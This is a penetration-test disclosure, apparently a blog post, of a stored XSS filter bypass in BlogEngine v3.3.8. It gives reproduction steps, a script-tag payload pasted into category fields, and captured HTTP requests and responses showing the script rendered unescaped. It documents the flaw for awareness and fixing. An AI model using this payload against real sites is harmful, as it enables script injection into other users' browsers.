Friday Fun Pentest Series - 16 - Stored XSS with Filter Bypass - blogenginev3.3.8

Description

- It was found that the application was vulnerable to Stored XSS via specific payload that bypassed the filtering in place.


Stored XSS Filter Bypass #1 - "Add Category"

Steps to Reproduce:

1. Login as admin and go to "Content" > "Posts"
2. On the right side of the page choose "Categories"
3. In "Title" and "Description" paste the following payload <b>12345</b><script>alert(1)</script><b>12345=</b>

// HTTP PUT request

PUT /blogengine/api/posts/update/foo HTTP/1.1
Host: 192.168.58.153:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
[...]

[...]

","DateCreated":"2024-12-14 14:33","Slug":"xss","RelativeLink":"/blogengine/post/2024/12/14/xss","Categories":[{"IsChecked":false,"Id":"40a7136b-2f0d-491a-8690-2a092681ed3b","Title":"<b>12345</b><script>alert(1)</script><b>12345=</b>"}],"Tags":[],"Comments":null,"HasCommentsEnabled":true,"IsPublished":false,"IsDeleted":false,"CanUserDelete":true,"CanUserEdit":true}

[...]


// HTTP response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Sat, 14 Dec 2024 15:34:08 GMT
Content-Length: 0


// HTTP GET request

GET /blogengine/post/2024/12/14/xss HTTP/1.1
Host: 192.168.58.153:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
[...]


// HTTP response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.5
x-pingback: http://192.168.58.153:8080/blogengine/pingback.axd
Content-Style-Type: text/css
Content-Script-Type: text/javascript
X-Powered-By: ASP.NET
Date: Sat, 14 Dec 2024 15:44:05 GMT
Content-Length: 19229

[...]
<span class="post-category"><a href="/blogengine/category/&lt;b&gt;12345&lt;b&gt;&lt;script&gt;alert(1)&lt;script&gt;&lt;b&gt;12345=&lt;b&gt;"><b>12345</b><script>alert(1)</script><b>12345=</b></a></span></div></header>
[...]